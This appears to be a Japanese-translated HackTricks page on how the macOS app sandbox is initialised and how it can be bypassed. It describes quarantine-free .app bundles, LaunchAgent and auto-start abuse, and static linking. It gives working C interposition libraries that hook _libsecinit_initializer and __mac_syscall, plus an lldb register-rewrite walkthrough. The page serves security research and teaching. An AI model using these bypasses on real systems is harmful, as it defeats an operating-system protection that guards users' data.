macOS Sandbox Debug & Bypass

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Sandbox loading process

Image from http://newosxbook.com/files/HITSB.pdf

前の画像では、アプリケーションが com.apple.security.app-sandbox の権限を持って実行されるときに、サンドボックスがどのようにロードされるかを観察することができます。

コンパイラはバイナリに /usr/lib/libSystem.B.dylib をリンクします。

次に、libSystem.B は他のいくつかの関数を呼び出し、xpc_pipe_routine がアプリの権限を securityd に送信します。Securitydはプロセスがサンドボックス内で隔離されるべきかどうかを確認し、そうであれば隔離されます。 最後に、サンドボックスは __sandbox_ms への呼び出しによってアクティブ化され、これが __mac_syscall を呼び出します。

Possible Bypasses

Bypassing quarantine attribute

サンドボックス化されたプロセスによって作成されたファイルには、サンドボックスからの脱出を防ぐために隔離属性が追加されます。しかし、もしあなたが隔離属性なしで .app フォルダを作成することができれば、アプリバンドルのバイナリを /bin/bash にポイントさせ、plist にいくつかの環境変数を追加して open を悪用し、新しいアプリをサンドボックスなしで起動することができます。

これは CVE-2023-32364** で行われたことです。**

したがって、現時点では、隔離属性なしで .app で終わる名前のフォルダを作成することができる場合、サンドボックスから脱出することができます。なぜなら、macOSは**.app フォルダとメイン実行可能ファイルの隔離属性のみをチェック**するからです（そして、私たちはメイン実行可能ファイルを /bin/bash にポイントさせます）。

すでに実行を許可された .app バンドル（実行を許可されたフラグが付いた隔離 xttrを持つ）であれば、それを悪用することもできます... ただし、今はサンドボックス内ではいくつかの特権 TCC 権限がない限り、.app バンドル内に書き込むことはできません（サンドボックスが高い場合は特に）。

Abusing Open functionality

Wordサンドボックスバイパスの最後の例では、open CLI機能がサンドボックスをバイパスするために悪用される様子が確認できます。

macOS Office Sandbox Bypasses

Launch Agents/Daemons

アプリケーションがサンドボックス化されることを意図している場合（com.apple.security.app-sandbox）、例えばLaunchAgent（~/Library/LaunchAgents）から実行される場合、サンドボックスをバイパスすることが可能です。 この投稿で説明されているように、サンドボックス化されたアプリケーションで永続性を得たい場合、LaunchAgentとして自動的に実行されるようにし、DyLib環境変数を介して悪意のあるコードを注入することができます。

Abusing Auto Start Locations

サンドボックス化されたプロセスが書き込むことができる場所に後でサンドボックスなしのアプリケーションがバイナリを実行する場合、そこにバイナリを配置することで脱出することができます。この種の場所の良い例は ~/Library/LaunchAgents や /System/Library/LaunchDaemons です。

これには2ステップが必要な場合があります：より許可されたサンドボックス（file-read*, file-write*）を持つプロセスがあなたのコードを実行し、それが実際にサンドボックスなしで実行される場所に書き込むことです。

自動起動場所についてのこのページを確認してください：

macOS Auto Start

Abusing other processes

もしサンドボックスプロセスから他のプロセスを妨害することができれば、より制限の少ないサンドボックス（またはサンドボックスなし）で実行されている場合、あなたはそれらのサンドボックスに脱出することができます：

macOS Process Abuse

Static Compiling & Dynamically linking

この研究では、サンドボックスをバイパスする2つの方法が発見されました。サンドボックスはユーザーランドから適用され、libSystemライブラリがロードされるときに適用されます。バイナリがそれをロードするのを回避できれば、決してサンドボックス化されることはありません：

  • バイナリが完全に静的にコンパイルされている場合、そのライブラリをロードするのを回避できます。

  • バイナリがライブラリをロードする必要がない場合（リンカーもlibSystemにあるため）、libSystemをロードする必要はありません。

Shellcodes

シェルコードでさえ、ARM64では libSystem.dylib にリンクする必要があることに注意してください：

ld -o shell shell.o -macosx_version_min 13.0
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64

Entitlements

特定の権限を持つアプリケーションの場合、いくつかのアクションがサンドボックスによって許可されることに注意してください。

(when (entitlement "com.apple.security.network.client")
(allow network-outbound (remote ip))
(allow mach-lookup
(global-name "com.apple.airportd")
(global-name "com.apple.cfnetwork.AuthBrokerAgent")
(global-name "com.apple.cfnetwork.cfnetworkagent")
[...]

インターポスティングバイパス

インターポスティングに関する詳細は以下を参照してください：

macOS Function Hooking

サンドボックスを防ぐために_libsecinit_initializerをインターポストする

// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>

void _libsecinit_initializer(void);

void overriden__libsecinit_initializer(void) {
printf("_libsecinit_initializer called\n");
}

__attribute__((used, section("__DATA,__interpose"))) static struct {
void (*overriden__libsecinit_initializer)(void);
void (*_libsecinit_initializer)(void);
}
_libsecinit_initializer_interpose = {overriden__libsecinit_initializer, _libsecinit_initializer};
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
_libsecinit_initializer called
Sandbox Bypassed!

サンドボックスを防ぐための __mac_syscall のインターポーズ

interpose.c
// gcc -dynamiclib interpose.c -o interpose.dylib

#include <stdio.h>
#include <string.h>

// Forward Declaration
int __mac_syscall(const char *_policyname, int _call, void *_arg);

// Replacement function
int my_mac_syscall(const char *_policyname, int _call, void *_arg) {
printf("__mac_syscall invoked. Policy: %s, Call: %d\n", _policyname, _call);
if (strcmp(_policyname, "Sandbox") == 0 && _call == 0) {
printf("Bypassing Sandbox initiation.\n");
return 0; // pretend we did the job without actually calling __mac_syscall
}
// Call the original function for other cases
return __mac_syscall(_policyname, _call, _arg);
}

// Interpose Definition
struct interpose_sym {
const void *replacement;
const void *original;
};

// Interpose __mac_syscall with my_mac_syscall
__attribute__((used)) static const struct interpose_sym interposers[] __attribute__((section("__DATA, __interpose"))) = {
{ (const void *)my_mac_syscall, (const void *)__mac_syscall },
};
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand

__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 2
__mac_syscall invoked. Policy: Sandbox, Call: 0
Bypassing Sandbox initiation.
__mac_syscall invoked. Policy: Quarantine, Call: 87
__mac_syscall invoked. Policy: Sandbox, Call: 4
Sandbox Bypassed!

Debug & bypass Sandbox with lldb

サンドボックス化されるべきアプリケーションをコンパイルしましょう：

#include <stdlib.h>
int main() {
system("cat ~/Desktop/del.txt");
}

次にアプリをコンパイルします：

# Compile it
gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand

# Create a certificate for "Code Signing"

# Apply the entitlements via signing
codesign -s <cert-name> --entitlements entitlements.xml sand

アプリは ~/Desktop/del.txt ファイルを 読み取ろう としますが、Sandboxはそれを許可しません。 Sandboxがバイパスされると、そこにファイルを作成すると読み取ることができるようになります:

echo "Sandbox Bypassed" > ~/Desktop/del.txt

アプリケーションをデバッグして、Sandboxがいつロードされるかを確認しましょう:

# Load app in debugging
lldb ./sand

# Set breakpoint in xpc_pipe_routine
(lldb) b xpc_pipe_routine

# run
(lldb) r

# This breakpoint is reached by different functionalities
# Check in the backtrace is it was de sandbox one the one that reached it
# We are looking for the one libsecinit from libSystem.B, like the following one:
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
* frame #0: 0x00000001873d4178 libxpc.dylib`xpc_pipe_routine
frame #1: 0x000000019300cf80 libsystem_secinit.dylib`_libsecinit_appsandbox + 584
frame #2: 0x00000001874199c4 libsystem_trace.dylib`_os_activity_initiate_impl + 64
frame #3: 0x000000019300cce4 libsystem_secinit.dylib`_libsecinit_initializer + 80
frame #4: 0x0000000193023694 libSystem.B.dylib`libSystem_initializer + 272

# To avoid lldb cutting info
(lldb) settings set target.max-string-summary-length 10000

# The message is in the 2 arg of the xpc_pipe_routine function, get it with:
(lldb) p (char *) xpc_copy_description($x1)
(char *) $0 = 0x000000010100a400 "<dictionary: 0x6000026001e0> { count = 5, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REGISTRATION_MESSAGE_SHORT_NAME_KEY\" => <string: 0x600000c00d80> { length = 4, contents = \"sand\" }\n\t\"SECINITD_REGISTRATION_MESSAGE_IMAGE_PATHS_ARRAY_KEY\" => <array: 0x600000c00120> { count = 42, capacity = 64, contents =\n\t\t0: <string: 0x600000c000c0> { length = 14, contents = \"/tmp/lala/sand\" }\n\t\t1: <string: 0x600000c001e0> { length = 22, contents = \"/private/tmp/lala/sand\" }\n\t\t2: <string: 0x600000c000f0> { length = 26, contents = \"/usr/lib/libSystem.B.dylib\" }\n\t\t3: <string: 0x600000c00180> { length = 30, contents = \"/usr/lib/system/libcache.dylib\" }\n\t\t4: <string: 0x600000c00060> { length = 37, contents = \"/usr/lib/system/libcommonCrypto.dylib\" }\n\t\t5: <string: 0x600000c001b0> { length = 36, contents = \"/usr/lib/system/libcompiler_rt.dylib\" }\n\t\t6: <string: 0x600000c00330> { length = 33, contents = \"/usr/lib/system/libcopyfile.dylib\" }\n\t\t7: <string: 0x600000c00210> { length = 35, contents = \"/usr/lib/system/libcorecry"...

# The 3 arg is the address were the XPC response will be stored
(lldb) register read x2
x2 = 0x000000016fdfd660

# Move until the end of the function
(lldb) finish

# Read the response
## Check the address of the sandbox container in SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY
(lldb) memory read -f p 0x000000016fdfd660 -c 1
0x16fdfd660: 0x0000600003d04000
(lldb) p (char *) xpc_copy_description(0x0000600003d04000)
(char *) $4 = 0x0000000100204280 "<dictionary: 0x600003d04000> { count = 7, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ID_KEY\" => <string: 0x600000c04d50> { length = 22, contents = \"xyz.hacktricks.sandbox\" }\n\t\"SECINITD_REPLY_MESSAGE_QTN_PROC_FLAGS_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY\" => <string: 0x600000c04e10> { length = 65, contents = \"/Users/carlospolop/Library/Containers/xyz.hacktricks.sandbox/Data\" }\n\t\"SECINITD_REPLY_MESSAGE_SANDBOX_PROFILE_DATA_KEY\" => <data: 0x600001704100>: { length = 19027 bytes, contents = 0x0000f000ba0100000000070000001e00350167034d03c203... }\n\t\"SECINITD_REPLY_MESSAGE_VERSION_NUMBER_KEY\" => <int64: 0xaa3e660cef06712f>: 1\n\t\"SECINITD_MESSAGE_TYPE_KEY\" => <uint64: 0xaabe660cef067137>: 2\n\t\"SECINITD_REPLY_FAILURE_CODE\" => <uint64: 0xaabe660cef067127>: 0\n}"

# To bypass the sandbox we need to skip the call to __mac_syscall
# Lets put a breakpoint in __mac_syscall when x1 is 0 (this is the code to enable the sandbox)
(lldb) breakpoint set --name __mac_syscall --condition '($x1 == 0)'
(lldb) c

# The 1 arg is the name of the policy, in this case "Sandbox"
(lldb) memory read -f s $x0
0x19300eb22: "Sandbox"

#
# BYPASS
#

# Due to the previous bp, the process will be stopped in:
Process 2517 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000187659900 libsystem_kernel.dylib`__mac_syscall
libsystem_kernel.dylib`:
->  0x187659900 <+0>:  mov    x16, #0x17d
0x187659904 <+4>:  svc    #0x80
0x187659908 <+8>:  b.lo   0x187659928               ; <+40>
0x18765990c <+12>: pacibsp

# To bypass jump to the b.lo address modifying some registers first
(lldb) breakpoint delete 1 # Remove bp
(lldb) register write $pc 0x187659928 #b.lo address
(lldb) register write $x0 0x00
(lldb) register write $x1 0x00
(lldb) register write $x16 0x17d
(lldb) c
Process 2517 resuming
Sandbox Bypassed!
Process 2517 exited with status = 0 (0x00000000)

サンドボックスがバイパスされても、TCC はユーザーにデスクトップからファイルを読み取るプロセスを許可するかどうか尋ねます

参考文献

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE) GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE)

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